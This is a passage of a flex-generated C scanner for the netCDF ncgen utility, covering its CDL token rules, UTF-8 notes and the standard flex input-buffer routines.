extern int ncg_flex_debug;
int ncg_flex_debug = 0;
/* The intent behind this definition is that it'll catch
* any uses of REJECT which flex missed.
*/
#define REJECT reject_used_but_not_detected
#define yymore() yymore_used_but_not_detected
#define YY_MORE_ADJ 0
#define YY_RESTORE_YY_MORE_OFFSET
char *ncgtext;
#line 1 "ncgen.l"
#line 2 "ncgen.l"
/*********************************************************************
* Copyright 1993, UCAR/Unidata
* See netcdf/COPYRIGHT file for copying and redistribution conditions.
* $Id: ncgen.l,v 1.24 2009/12/29 18:42:36 dmh Exp $
*********************************************************************/
/* Problems:
1. Ideally, we assume the input is true ut8.
Unfortunately, we may actually get iso-latin-8859-1.
This means that there will be ambiguity about the characters
in the range 128-255 because they will look like n-byte unicode
when they are 1-byte 8859 characters. Because of our encoding,
8859 characters above 128 will be handles as n-byte utf8 and so
will probably not lex correctly.
Solution: assume utf8 and note in the documentation that
ISO8859 is specifically unsupported.
2. The netcdf function NC_check_name in string.c must be modified to
conform to the use of UTF8.
3. We actually have three tests for UTF8 of increasing correctness
(in the sense that the least correct will allow some sequences that
are technically illegal UTF8).
The tests are derived from the table at
http://www.w3.org/2005/03/23-lex-U
We include lexical definitions for all three, but use the second version.
*/
/* lex specification for tokens for ncgen */
/* Fill value used by ncdump from version 2.4 and later. Should match
definition of FILL_STRING in ../ncdump/vardata.h */
#define FILL_STRING "_"
#define XDR_INT_MIN (-2147483647-1)
#define XDR_INT_MAX 2147483647
char errstr[100]; /* for short error messages */
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include "genlib.h"
#include "ncgentab.h"
#define YY_BREAK /* defining as nothing eliminates unreachable
statement warnings from flex output,
but make sure every action ends with
"return" or "break"! */
/* The most correct (validating) version of UTF8 character set
(Taken from: http://www.w3.org/2005/03/23-lex-U)
The lines of the expression cover the UTF8 characters as follows:
1. non-overlong 2-byte
2. excluding overlongs
3. straight 3-byte
4. excluding surrogates
5. straight 3-byte
6. planes 1-3
7. planes 4-15
8. plane 16
UTF8 ([\xC2-\xDF][\x80-\xBF]) \
| (\xE0[\xA0-\xBF][\x80-\xBF]) \
| ([\xE1-\xEC][\x80-\xBF][\x80-\xBF]) \
| (\xED[\x80-\x9F][\x80-\xBF]) \
| ([\xEE-\xEF][\x80-\xBF][\x80-\xBF]) \
| (\xF0[\x90-\xBF][\x80-\xBF][\x80-\xBF]) \
| ([\xF1-\xF3][\x80-\xBF][\x80-\xBF][\x80-\xBF]) \
| (\xF4[\x80-\x8F][\x80-\xBF][\x80-\xBF]) \
*/
/* Wish there was some way to ifdef lex files */
/*The most relaxed version of UTF8 (not used)
UTF8 ([\xC0-\xD6].)|([\xE0-\xEF]..)|([\xF0-\xF7]...)
*/
/*The partially relaxed version of UTF8, and the one used here */
/* The old definition of ID
ID ([A-Za-z_]|{UTF8})([A-Z.@#\[\]a-z_0-9+-]|{UTF8})*
*/
/* Don't permit control characters or '/' in names, but other special
chars OK if escaped. Note that to preserve backwards
compatibility, none of the characters _.@+- should be escaped, as
they were previously permitted in names without escaping. */
/* New definition to conform to a subset of string.c */
/* Note: this definition of string will work for utf8 as well,
although it is a very relaxed definition
*/
#line 961 "lex.ncg.c"
#define INITIAL 0
#ifndef YY_NO_UNISTD_H
/* Special case for "unistd.h", since it is non-ANSI. We include it way
* down here because we want the user's section 1 to have been scanned first.
* The user has a chance to override it with an option.
*/
#include <unistd.h>
#endif
#ifndef YY_EXTRA_TYPE
#define YY_EXTRA_TYPE void *
#endif
static int yy_init_globals (void );
/* Accessor methods to globals.
These are made visible to non-reentrant scanners for convenience. */
int ncglex_destroy (void );
int ncgget_debug (void );
void ncgset_debug (int debug_flag );
YY_EXTRA_TYPE ncgget_extra (void );
void ncgset_extra (YY_EXTRA_TYPE user_defined );
FILE *ncgget_in (void );
void ncgset_in (FILE * in_str );
FILE *ncgget_out (void );
void ncgset_out (FILE * out_str );
int ncgget_leng (void );
char *ncgget_text (void );
int ncgget_lineno (void );
void ncgset_lineno (int line_number );
/* Macros after this point can all be overridden by user definitions in
* section 1.
*/
#ifndef YY_SKIP_YYWRAP
#ifdef __cplusplus
extern "C" int ncgwrap (void );
#else
extern int ncgwrap (void );
#endif
#endif
static void yyunput (int c,char *buf_ptr );
#ifndef yytext_ptr
static void yy_flex_strncpy (char *,yyconst char *,int );
#endif
#ifdef YY_NEED_STRLEN
static int yy_flex_strlen (yyconst char * );
#endif
#ifndef YY_NO_INPUT
#ifdef __cplusplus
static int yyinput (void );
#else
static int input (void );
#endif
#endif
/* Amount of stuff to slurp up with each read. */
#ifndef YY_READ_BUF_SIZE
#define YY_READ_BUF_SIZE 8192
#endif
/* Copy whatever the last rule matched to the standard output. */
#ifndef ECHO
/* This used to be an fputs(), but since the string might contain NUL's,
* we now use fwrite().
*/
#define ECHO do { if (fwrite( ncgtext, ncgleng, 1, ncgout )) {} } while (0)
#endif
/* Gets input and stuffs it into "buf". number of characters read, or YY_NULL,
* is returned in "result".
*/
#ifndef YY_INPUT
#define YY_INPUT(buf,result,max_size) \
if ( YY_CURRENT_BUFFER_LVALUE->yy_is_interactive ) \
{ \
int c = '*'; \
unsigned n; \
for ( n = 0; n < max_size && \
(c = getc( ncgin )) != EOF && c != '\n'; ++n ) \
buf[n] = (char) c; \
if ( c == '\n' ) \
buf[n++] = (char) c; \
if ( c == EOF && ferror( ncgin ) ) \
YY_FATAL_ERROR( "input in flex scanner failed" ); \
result = n; \
} \
else \
{ \
errno=0; \
while ( (result = fread(buf, 1, max_size, ncgin))==0 && ferror(ncgin)) \
{ \
if( errno != EINTR) \
{ \
YY_FATAL_ERROR( "input in flex scanner failed" ); \
break; \
} \
errno=0; \
clearerr(ncgin); \
} \
}\
\
#endif
/* No semi-colon after return; correct usage is to write "yyterminate();" -
* we don't want an extra ';' after the "return" because that will cause
* some compilers to complain about unreachable statements.
*/
#ifndef yyterminate
#define yyterminate() return YY_NULL
#endif
/* Number of entries by which start-condition stack grows. */
#ifndef YY_START_STACK_INCR
#define YY_START_STACK_INCR 25
#endif
/* Report a fatal error. */
#ifndef YY_FATAL_ERROR
#define YY_FATAL_ERROR(msg) yy_fatal_error( msg )
#endif
/* end tables serialization structures and prototypes */
/* Default declaration of generated scanner - a define so the user can
* easily add parameters.
*/
#ifndef YY_DECL
#define YY_DECL_IS_OURS 1
extern int ncglex (void);
#define YY_DECL int ncglex (void)
#endif /* !YY_DECL */
/* Code executed at the beginning of each rule, after ncgtext and ncgleng
* have been set up.
*/
#ifndef YY_USER_ACTION
#define YY_USER_ACTION
#endif
/* Code executed at the end of each rule. */
#ifndef YY_BREAK
#define YY_BREAK break;
#endif
#define YY_RULE_SETUP \
YY_USER_ACTION
/** The main scanner function which does all the work.
*/
YY_DECL
{
register yy_state_type yy_current_state;
register char *yy_cp, *yy_bp;
register int yy_act;
#line 107 "ncgen.l"
#line 1145 "lex.ncg.c"
if ( !(yy_init) )
{
(yy_init) = 1;
#ifdef YY_USER_INIT
YY_USER_INIT;
#endif
if ( ! (yy_start) )
(yy_start) = 1; /* first start state */
if ( ! ncgin )
ncgin = stdin;
if ( ! ncgout )
ncgout = stdout;
if ( ! YY_CURRENT_BUFFER ) {
ncgensure_buffer_stack ();
YY_CURRENT_BUFFER_LVALUE =
ncg_create_buffer(ncgin,YY_BUF_SIZE );
}
ncg_load_buffer_state( );
}
while ( 1 ) /* loops until end-of-file is reached */
{
yy_cp = (yy_c_buf_p);
/* Support of ncgtext. */
*yy_cp = (yy_hold_char);
/* yy_bp points to the position in yy_ch_buf of the start of
* the current run.
*/
yy_bp = yy_cp;
yy_current_state = (yy_start);
yy_match:
do
{
register YY_CHAR yy_c = yy_ec[YY_SC_TO_UI(*yy_cp)];
if ( yy_accept[yy_current_state] )
{
(yy_last_accepting_state) = yy_current_state;
(yy_last_accepting_cpos) = yy_cp;
}
while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state )
{
yy_current_state = (int) yy_def[yy_current_state];
if ( yy_current_state >= 264 )
yy_c = yy_meta[(unsigned int) yy_c];
}
yy_current_state = yy_nxt[yy_base[yy_current_state] + (unsigned int) yy_c];
++yy_cp;
}
while ( yy_base[yy_current_state] != 1375 );
yy_find_action:
yy_act = yy_accept[yy_current_state];
if ( yy_act == 0 )
{ /* have to back up */
yy_cp = (yy_last_accepting_cpos);
yy_current_state = (yy_last_accepting_state);
yy_act = yy_accept[yy_current_state];
}
YY_DO_BEFORE_ACTION;
do_action: /* This label is used only to access EOF actions. */
switch ( yy_act )
{ /* beginning of action switch */
case 0: /* must back up */
/* undo the effects of YY_DO_BEFORE_ACTION */
*yy_cp = (yy_hold_char);
yy_cp = (yy_last_accepting_cpos);
yy_current_state = (yy_last_accepting_state);
goto yy_find_action;
case 1:
YY_RULE_SETUP
#line 108 "ncgen.l"
{ /* comment */
break;
}
YY_BREAK
case 2:
/* rule 2 can match eol */
YY_RULE_SETUP
#line 112 "ncgen.l"
{
if(ncgleng > MAXTRST) {
yyerror("string too long, truncated\n");
ncgtext[MAXTRST-1] = '\0';
}
expand_escapes(termstring,(char *)ncgtext,ncgleng);
return (TERMSTRING);
}
YY_BREAK
case 3:
YY_RULE_SETUP
#line 121 "ncgen.l"
{return (FLOAT_K);}
YY_BREAK
case 4:
YY_RULE_SETUP
#line 122 "ncgen.l"
{return (CHAR_K);}
YY_BREAK
case 5:
YY_RULE_SETUP
#line 123 "ncgen.l"
{return (BYTE_K);}
YY_BREAK
case 6:
YY_RULE_SETUP
#line 124 "ncgen.l"
{return (SHORT_K);}
YY_BREAK
case 7:
YY_RULE_SETUP
#line 125 "ncgen.l"
{return (INT_K);}
YY_BREAK
case 8:
YY_RULE_SETUP
#line 126 "ncgen.l"
{return (DOUBLE_K);}
YY_BREAK
case 9:
YY_RULE_SETUP
#line 127 "ncgen.l"
{int_val = -1;
return (NC_UNLIMITED_K);}
YY_BREAK
case 10:
YY_RULE_SETUP
#line 130 "ncgen.l"
{return (DIMENSIONS);}
YY_BREAK
case 11:
YY_RULE_SETUP
#line 131 "ncgen.l"
{return (VARIABLES);}
YY_BREAK
case 12:
YY_RULE_SETUP
#line 132 "ncgen.l"
{return (DATA);}
YY_BREAK
case 13:
/* rule 13 can match eol */
YY_RULE_SETUP
#line 133 "ncgen.l"
{
char *s = (char*)ncgtext+strlen("netcdf");
char *t = (char*)ncgtext+ncgleng-1;
while (isspace(*s))
s++;
while (isspace(*t))
t--;
t++;
if (t-s+1 < 1) {
yyerror("netCDF name required");
return (DATA); /* generate syntax error */
}
netcdfname = (char *) emalloc(t-s+1);
(void) strncpy(netcdfname, s, t-s);
netcdfname[t-s] = '\0';
deescapify(netcdfname); /* so "\5foo" becomes "5foo", for example */
return (NETCDF);
}
YY_BREAK
case 14:
YY_RULE_SETUP
#line 151 "ncgen.l"
{ /* missing value (pre-2.4 backward compatibility) */
if (ncgtext[0] == '-') {
double_val = -NC_FILL_DOUBLE;
} else {
double_val = NC_FILL_DOUBLE;
}
return (DOUBLE_CONST);
}
YY_BREAK
case 15:
YY_RULE_SETUP
#line 159 "ncgen.l"
{ /* missing value (pre-2.4 backward compatibility) */
if (ncgtext[0] == '-') {
float_val = -NC_FILL_FLOAT;
} else {
float_val = NC_FILL_FLOAT;
}
return (FLOAT_CONST);
}
YY_BREAK
case 16:
YY_RULE_SETUP
#line 167 "ncgen.l"
{
if (STREQ((char *)ncgtext, FILL_STRING))
return (FILLVALUE);
if ((yylval = lookup((char *)ncgtext)) == NULL) {
yylval = install((char *)ncgtext);
}
return (IDENT);
}
YY_BREAK
case 17:
/* rule 17 can match eol */
YY_RULE_SETUP
#line 176 "ncgen.l"
{
lineno++ ;
break;
}
YY_BREAK
case 18:
YY_RULE_SETUP
#line 181 "ncgen.l"
{
int ii;
if (sscanf((char*)ncgtext, "%d", &ii) != 1) {
sprintf(errstr,"bad byte constant: %s",(char*)ncgtext);
yyerror(errstr);
}
byte_val = ii;
if (ii != (int)byte_val) {
sprintf(errstr,"byte constant out of range (-128,127): %s",(char*)ncgtext);
yyerror(errstr);
}
return (BYTE_CONST);
}
YY_BREAK
case 19:
YY_RULE_SETUP
#line 195 "ncgen.l"
{
if (sscanf((char*)ncgtext, "%le", &double_val) != 1) {
sprintf(errstr,"bad long or double constant: %s",(char*)ncgtext);
yyerror(errstr);
}
return (DOUBLE_CONST);
}
YY_BREAK
case 20:
YY_RULE_SETUP
#line 202 "ncgen.l"
{
if (sscanf((char*)ncgtext, "%e", &float_val) != 1) {
sprintf(errstr,"bad float constant: %s",(char*)ncgtext);
yyerror(errstr);
}
return (FLOAT_CONST);
}
YY_BREAK
case 21:
YY_RULE_SETUP
#line 209 "ncgen.l"
{
if (sscanf((char*)ncgtext, "%hd", &short_val) != 1) {
sprintf(errstr,"bad short constant: %s",(char*)ncgtext);
yyerror(errstr);
}
return (SHORT_CONST);
}
YY_BREAK
case 22:
YY_RULE_SETUP
#line 216 "ncgen.l"
{
char *ptr;
errno = 0;
double_val = strtod((char*)ncgtext, &ptr);
if (errno != 0 && double_val == 0.0) {
sprintf(errstr,"bad numerical constant: %s",(char*)ncgtext);
yyerror(errstr);
}
if (double_val < XDR_INT_MIN ||double_val > XDR_INT_MAX) {
return DOUBLE_CONST;
} else {
int_val = (int) double_val;
return INT_CONST;
}
}
YY_BREAK
case 23:
YY_RULE_SETUP
#line 231 "ncgen.l"
{
char *ptr;
long long_val;
errno = 0;
long_val = strtol((char*)ncgtext, &ptr, 0);
if (errno != 0) {
sprintf(errstr,"bad long constant: %s",(char*)ncgtext);
yyerror(errstr);
}
if (long_val < XDR_INT_MIN || long_val > XDR_INT_MAX) {
double_val = (double) long_val;
return DOUBLE_CONST;
} else {
int_val = (int) long_val;
return INT_CONST;
}
}
YY_BREAK
case 24:
/* rule 24 can match eol */
YY_RULE_SETUP
#line 248 "ncgen.l"
{
(void) sscanf((char*)&ncgtext[1],"%c",&byte_val);
return (BYTE_CONST);
}
YY_BREAK
case 25:
YY_RULE_SETUP
#line 252 "ncgen.l"
{
byte_val = (char) strtol((char*)&ncgtext[2], (char **) 0, 8);
return (BYTE_CONST);
}
YY_BREAK
case 26:
YY_RULE_SETUP
#line 256 "ncgen.l"
{
byte_val = (char) strtol((char*)&ncgtext[3], (char **) 0, 16);
return (BYTE_CONST);
}
YY_BREAK
case 27:
YY_RULE_SETUP
#line 260 "ncgen.l"
{
switch ((char)ncgtext[2]) {
case 'a': byte_val = '\007'; break; /* not everyone under-
* stands '\a' yet */
case 'b': byte_val = '\b'; break;
case 'f': byte_val = '\f'; break;
case 'n': byte_val = '\n'; break;
case 'r': byte_val = '\r'; break;
case 't': byte_val = '\t'; break;
case 'v': byte_val = '\v'; break;
case '\\': byte_val = '\\'; break;
case '?': byte_val = '\177'; break;
case '\'': byte_val = '\''; break;
default: byte_val = (char)ncgtext[2];
}
return (BYTE_CONST);
}
YY_BREAK
case 28:
YY_RULE_SETUP
#line 278 "ncgen.l"
{ /* whitespace */
break;
}
YY_BREAK
case 29:
YY_RULE_SETUP
#line 281 "ncgen.l"
{/* Note: this next rule will not work for UTF8 characters */
return (ncgtext[0]) ;
}
YY_BREAK
case 30:
YY_RULE_SETUP
#line 285 "ncgen.l"
ECHO;
YY_BREAK
#line 1522 "lex.ncg.c"
case YY_STATE_EOF(INITIAL):
yyterminate();
case YY_END_OF_BUFFER:
{
/* Amount of text matched not including the EOB char. */
int yy_amount_of_matched_text = (int) (yy_cp - (yytext_ptr)) - 1;
/* Undo the effects of YY_DO_BEFORE_ACTION. */
*yy_cp = (yy_hold_char);
YY_RESTORE_YY_MORE_OFFSET
if ( YY_CURRENT_BUFFER_LVALUE->yy_buffer_status == YY_BUFFER_NEW )
{
/* We're scanning a new file or input source. It's
* possible that this happened because the user
* just pointed ncgin at a new source and called
* ncglex(). If so, then we have to assure
* consistency between YY_CURRENT_BUFFER and our
* globals. Here is the right place to do so, because
* this is the first action (other than possibly a
* back-up) that will match for the new input source.
*/
(yy_n_chars) = YY_CURRENT_BUFFER_LVALUE->yy_n_chars;
YY_CURRENT_BUFFER_LVALUE->yy_input_file = ncgin;
YY_CURRENT_BUFFER_LVALUE->yy_buffer_status = YY_BUFFER_NORMAL;
}
/* Note that here we test for yy_c_buf_p "<=" to the position
* of the first EOB in the buffer, since yy_c_buf_p will
* already have been incremented past the NUL character
* (since all states make transitions on EOB to the
* end-of-buffer state). Contrast this with the test
* in input().
*/
if ( (yy_c_buf_p) <= &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)] )
{ /* This was really a NUL. */
yy_state_type yy_next_state;
(yy_c_buf_p) = (yytext_ptr) + yy_amount_of_matched_text;
yy_current_state = yy_get_previous_state( );
/* Okay, we're now positioned to make the NUL
* transition. We couldn't have
* yy_get_previous_state() go ahead and do it
* for us because it doesn't know how to deal
* with the possibility of jamming (and we don't
* want to build jamming into it because then it
* will run more slowly).
*/
yy_next_state = yy_try_NUL_trans( yy_current_state );
yy_bp = (yytext_ptr) + YY_MORE_ADJ;
if ( yy_next_state )
{
/* Consume the NUL. */
yy_cp = ++(yy_c_buf_p);
yy_current_state = yy_next_state;
goto yy_match;
}
else
{
yy_cp = (yy_c_buf_p);
goto yy_find_action;
}
}
else switch ( yy_get_next_buffer( ) )
{
case EOB_ACT_END_OF_FILE:
{
(yy_did_buffer_switch_on_eof) = 0;
if ( ncgwrap( ) )
{
/* Note: because we've taken care in
* yy_get_next_buffer() to have set up
* ncgtext, we can now set up
* yy_c_buf_p so that if some total
* hoser (like flex itself) wants to
* call the scanner after we return the
* YY_NULL, it'll still work - another
* YY_NULL will get returned.
*/
(yy_c_buf_p) = (yytext_ptr) + YY_MORE_ADJ;
yy_act = YY_STATE_EOF(YY_START);
goto do_action;
}
else
{
if ( ! (yy_did_buffer_switch_on_eof) )
YY_NEW_FILE;
}
break;
}
case EOB_ACT_CONTINUE_SCAN:
(yy_c_buf_p) =
(yytext_ptr) + yy_amount_of_matched_text;
yy_current_state = yy_get_previous_state( );
yy_cp = (yy_c_buf_p);
yy_bp = (yytext_ptr) + YY_MORE_ADJ;
goto yy_match;
case EOB_ACT_LAST_MATCH:
(yy_c_buf_p) =
&YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)];
yy_current_state = yy_get_previous_state( );
yy_cp = (yy_c_buf_p);
yy_bp = (yytext_ptr) + YY_MORE_ADJ;
goto yy_find_action;
}
break;
}
default:
YY_FATAL_ERROR(
"fatal flex scanner internal error--no action found" );
} /* end of action switch */
} /* end of scanning one token */
} /* end of ncglex */
/* yy_get_next_buffer - try to read in a new buffer
*
* Returns a code representing an action:
* EOB_ACT_LAST_MATCH -
* EOB_ACT_CONTINUE_SCAN - continue scanning from current position
* EOB_ACT_END_OF_FILE - end of file
*/
static int yy_get_next_buffer (void)
{
register char *dest = YY_CURRENT_BUFFER_LVALUE->yy_ch_buf;
register char *source = (yytext_ptr);
register int number_to_move, i;
int ret_val;
if ( (yy_c_buf_p) > &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars) + 1] )
YY_FATAL_ERROR(
"fatal flex scanner internal error--end of buffer missed" );
if ( YY_CURRENT_BUFFER_LVALUE->yy_fill_buffer == 0 )
{ /* Don't try to fill the buffer, so this is an EOF. */
if ( (yy_c_buf_p) - (yytext_ptr) - YY_MORE_ADJ == 1 )
{
/* We matched a single character, the EOB, so
* treat this as a final EOF.
*/
return EOB_ACT_END_OF_FILE;
}
else
{
/* We matched some text prior to the EOB, first
* process it.
*/
return EOB_ACT_LAST_MATCH;
}
}
/* Try to read more data. */
/* First move last chars to start of buffer. */
number_to_move = (int) ((yy_c_buf_p) - (yytext_ptr)) - 1;
for ( i = 0; i < number_to_move; ++i )
*(dest++) = *(source++);
if ( YY_CURRENT_BUFFER_LVALUE->yy_buffer_status == YY_BUFFER_EOF_PENDING )
/* don't do the read, it's not guaranteed to return an EOF,
* just force an EOF
*/
YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars) = 0;
else
{
int num_to_read =
YY_CURRENT_BUFFER_LVALUE->yy_buf_size - number_to_move - 1;
while ( num_to_read <= 0 )
{ /* Not enough room in the buffer - grow it. */
/* just a shorter name for the current buffer */
YY_BUFFER_STATE b = YY_CURRENT_BUFFER;
int yy_c_buf_p_offset =
(int) ((yy_c_buf_p) - b->yy_ch_buf);
if ( b->yy_is_our_buffer )
{
int new_size = b->yy_buf_size * 2;
if ( new_size <= 0 )
b->yy_buf_size += b->yy_buf_size / 8;
else
b->yy_buf_size *= 2;
b->yy_ch_buf = (char *)
/* Include room in for 2 EOB chars. */
ncgrealloc((void *) b->yy_ch_buf,b->yy_buf_size + 2 );
}
else
/* Can't grow it, we don't own it. */
b->yy_ch_buf = 0;
if ( ! b->yy_ch_buf )
YY_FATAL_ERROR(
"fatal error - scanner input buffer overflow" );
(yy_c_buf_p) = &b->yy_ch_buf[yy_c_buf_p_offset];
num_to_read = YY_CURRENT_BUFFER_LVALUE->yy_buf_size -
number_to_move - 1;
}
if ( num_to_read > YY_READ_BUF_SIZE )
num_to_read = YY_READ_BUF_SIZE;
/* Read in more data. */
YY_INPUT( (&YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[number_to_move]),
(yy_n_chars), (size_t) num_to_read );
YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars);
}
if ( (yy_n_chars) == 0 )
{
if ( number_to_move == YY_MORE_ADJ )
{
ret_val = EOB_ACT_END_OF_FILE;
ncgrestart(ncgin );
}
else
{
ret_val = EOB_ACT_LAST_MATCH;
YY_CURRENT_BUFFER_LVALUE->yy_buffer_status =
YY_BUFFER_EOF_PENDING;
}
}
else
ret_val = EOB_ACT_CONTINUE_SCAN;
if ((yy_size_t) ((yy_n_chars) + number_to_move) > YY_CURRENT_BUFFER_LVALUE->yy_buf_size) {
/* Extend the array by 50%, plus the number we really need. */
yy_size_t new_size = (yy_n_chars) + number_to_move + ((yy_n_chars) >> 1);
YY_CURRENT_BUFFER_LVALUE->yy_ch_buf = (char *) ncgrealloc((void *) YY_CURRENT_BUFFER_LVALUE->yy_ch_buf,new_size );
if ( ! YY_CURRENT_BUFFER_LVALUE->yy_ch_buf )
YY_FATAL_ERROR( "out of dynamic memory in yy_get_next_buffer()" );
}
(yy_n_chars) += number_to_move;
YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)] = YY_END_OF_BUFFER_CHAR;
YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars) + 1] = YY_END_OF_BUFFER_CHAR;
(yytext_ptr) = &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[0];
return ret_val;
}
/* yy_get_previous_state - get the state just before the EOB char was reached */
static yy_state_type yy_get_previous_state (void)
{
register yy_state_type yy_current_state;
register char *yy_cp;
yy_current_state = (yy_start);
for ( yy_cp = (yytext_ptr) + YY_MORE_ADJ; yy_cp < (yy_c_buf_p); ++yy_cp )
{
register YY_CHAR yy_c = (*yy_cp ? yy_ec[YY_SC_TO_UI(*yy_cp)] : 1);
if ( yy_accept[yy_current_state] )
{
(yy_last_accepting_state) = yy_current_state;
(yy_last_accepting_cpos) = yy_cp;
}
while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state )
{
yy_current_state = (int) yy_def[yy_current_state];
if ( yy_current_state >= 264 )
yy_c = yy_meta[(unsigned int) yy_c];
}
yy_current_state = yy_nxt[yy_base[yy_current_state] + (unsigned int) yy_c];
}
return yy_current_state;
}
/* yy_try_NUL_trans - try to make a transition on the NUL character
*
* synopsis
* next_state = yy_try_NUL_trans( current_state );
*/
static yy_state_type yy_try_NUL_trans (yy_state_type yy_current_state )
{
register int yy_is_jam;
register char *yy_cp = (yy_c_buf_p);
register YY_CHAR yy_c = 1;
if ( yy_accept[yy_current_state] )
{
(yy_last_accepting_state) = yy_current_state;
(yy_last_accepting_cpos) = yy_cp;
}
while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state )
{
yy_current_state = (int) yy_def[yy_current_state];
if ( yy_current_state >= 264 )
yy_c = yy_meta[(unsigned int) yy_c];
}
yy_current_state = yy_nxt[yy_base[yy_current_state] + (unsigned int) yy_c];
yy_is_jam = (yy_current_state == 263);
return yy_is_jam ? 0 : yy_current_state;
}
static void yyunput (int c, register char * yy_bp )
{
register char *yy_cp;
yy_cp = (yy_c_buf_p);
/* undo effects of setting up ncgtext */
*yy_cp = (yy_hold_char);
if ( yy_cp < YY_CURRENT_BUFFER_LVALUE->yy_ch_buf + 2 )
{ /* need to shift things up to make room */
/* +2 for EOB chars. */
register int number_to_move = (yy_n_chars) + 2;
register char *dest = &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[
YY_CURRENT_BUFFER_LVALUE->yy_buf_size + 2];
register char *source =
&YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[number_to_move];
while ( source > YY_CURRENT_BUFFER_LVALUE->yy_ch_buf )
*--dest = *--source;
yy_cp += (int) (dest - source);
yy_bp += (int) (dest - source);
YY_CURRENT_BUFFER_LVALUE->yy_n_chars =
(yy_n_chars) = YY_CURRENT_BUFFER_LVALUE->yy_buf_size;
if ( yy_cp < YY_CURRENT_BUFFER_LVALUE->yy_ch_buf + 2 )
YY_FATAL_ERROR( "flex scanner push-back overflow" );
}
*--yy_cp = (char) c;
(yytext_ptr) = yy_bp;
(yy_hold_char) = *yy_cp;
(yy_c_buf_p) = yy_cp;
}
#ifndef YY_NO_INPUT
#ifdef __cplusplus
static int yyinput (void)
#else
static int input (void)
#endif
{
int c;
*(yy_c_buf_p) = (yy_hold_char);
if ( *(yy_c_buf_p) == YY_END_OF_BUFFER_CHAR )
{
/* yy_c_buf_p now points to the character we want to return.
* If this occurs *before* the EOB characters, then it's a
* valid NUL; if not, then we've hit the end of the buffer.
*/
if ( (yy_c_buf_p) < &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)] )
/* This was really a NUL. */
*(yy_c_buf_p) = '\0';
else
{ /* need more input */
int offset = (yy_c_buf_p) - (yytext_ptr);
++(yy_c_buf_p);
switch ( yy_get_next_buffer( ) )
{
case EOB_ACT_LAST_MATCH:
/* This happens because yy_g_n_b()
* sees that we've accumulated a
* token and flags that we need to
* try matching the token before
* proceeding. But for input(),
* there's no matching to consider.
* So convert the EOB_ACT_LAST_MATCH
* to EOB_ACT_END_OF_FILE.
*/
/* Reset buffer status. */
ncgrestart(ncgin );
/*FALLTHROUGH*/
case EOB_ACT_END_OF_FILE:
{
if ( ncgwrap( ) )
return EOF;
if ( ! (yy_did_buffer_switch_on_eof) )
YY_NEW_FILE;
#ifdef __cplusplus
return yyinput();
#else
return input();
#endif
}
case EOB_ACT_CONTINUE_SCAN:
(yy_c_buf_p) = (yytext_ptr) + offset;
break;
}
}
}
c = *(unsigned char *) (yy_c_buf_p); /* cast for 8-bit char's */
*(yy_c_buf_p) = '\0'; /* preserve ncgtext */
(yy_hold_char) = *++(yy_c_buf_p);
return c;
}
#endif /* ifndef YY_NO_INPUT */
/** Immediately switch to a different input stream.
* @param input_file A readable stream.
*
* @note This function does not reset the start condition to @c INITIAL .
*/
void ncgrestart (FILE * input_file )
{
if ( ! YY_CURRENT_BUFFER ){
ncgensure_buffer_stack ();
YY_CURRENT_BUFFER_LVALUE =
ncg_create_buffer(ncgin,YY_BUF_SIZE );
}
ncg_init_buffer(YY_CURRENT_BUFFER,input_file );
ncg_load_buffer_state( );
}
/** Switch to a different input buffer.
* @param new_buffer The new input buffer.
*
*/
void ncg_switch_to_buffer (YY_BUFFER_STATE new_buffer )
{
/* TODO. We should be able to replace this entire function body
* with
* ncgpop_buffer_state();
* ncgpush_buffer_state(new_buffer);
*/
ncgensure_buffer_stack ();
if ( YY_CURRENT_BUFFER == new_buffer )
return;
if ( YY_CURRENT_BUFFER )
{
/* Flush out information for old buffer. */
*(yy_c_buf_p) = (yy_hold_char);
YY_CURRENT_BUFFER_LVALUE->yy_buf_pos = (yy_c_buf_p);
YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars);
}
YY_CURRENT_BUFFER_LVALUE = new_buffer;
ncg_load_buffer_state( );
/* We don't actually know whether we did this switch during
* EOF (ncgwrap()) processing, but the only time this flag
* is looked at is after ncgwrap() is called, so it's safe
* to go ahead and always set it.
*/
(yy_did_buffer_switch_on_eof) = 1;
}
static void ncg_load_buffer_state (void)
{
(yy_n_chars) = YY_CURRENT_BUFFER_LVALUE->yy_n_chars;
(yytext_ptr) = (yy_c_buf_p) = YY_CURRENT_BUFFER_LVALUE->yy_buf_pos;
ncgin = YY_CURRENT_BUFFER_LVALUE->yy_input_file;
(yy_hold_char) = *(yy_c_buf_p);
}
/** Allocate and initialize an input buffer state.
* @param file A readable stream.
* @param size The character buffer size in bytes. When in doubt, use @c YY_BUF_SIZE.
*
* @return the allocated buffer state.
*/
YY_BUFFER_STATE ncg_create_buffer (FILE * file, int size )
{
YY_BUFFER_STATE b;
b = (YY_BUFFER_STATE) ncgalloc(sizeof( struct yy_buffer_state ) );
if ( ! b )
YY_FATAL_ERROR( "out of dynamic memory in ncg_create_buffer()" );
b->yy_buf_size = size;
/* yy_ch_buf has to be 2 characters longer than the size given because
* we need to put in 2 end-of-buffer characters.
*/
b->yy_ch_buf = (char *) ncgalloc(b->yy_buf_size + 2 );
if ( ! b->yy_ch_buf )
YY_FATAL_ERROR( "out of dynamic memory in ncg_create_buffer()" );
b->yy_is_our_buffer = 1;
ncg_init_buffer(b,file );
return b;
}
/** Destroy the buffer.
* @param b a buffer created with ncg_create_buffer()
*
*/
void ncg_delete_buffer (YY_BUFFER_STATE b )
{
if ( ! b )
return;
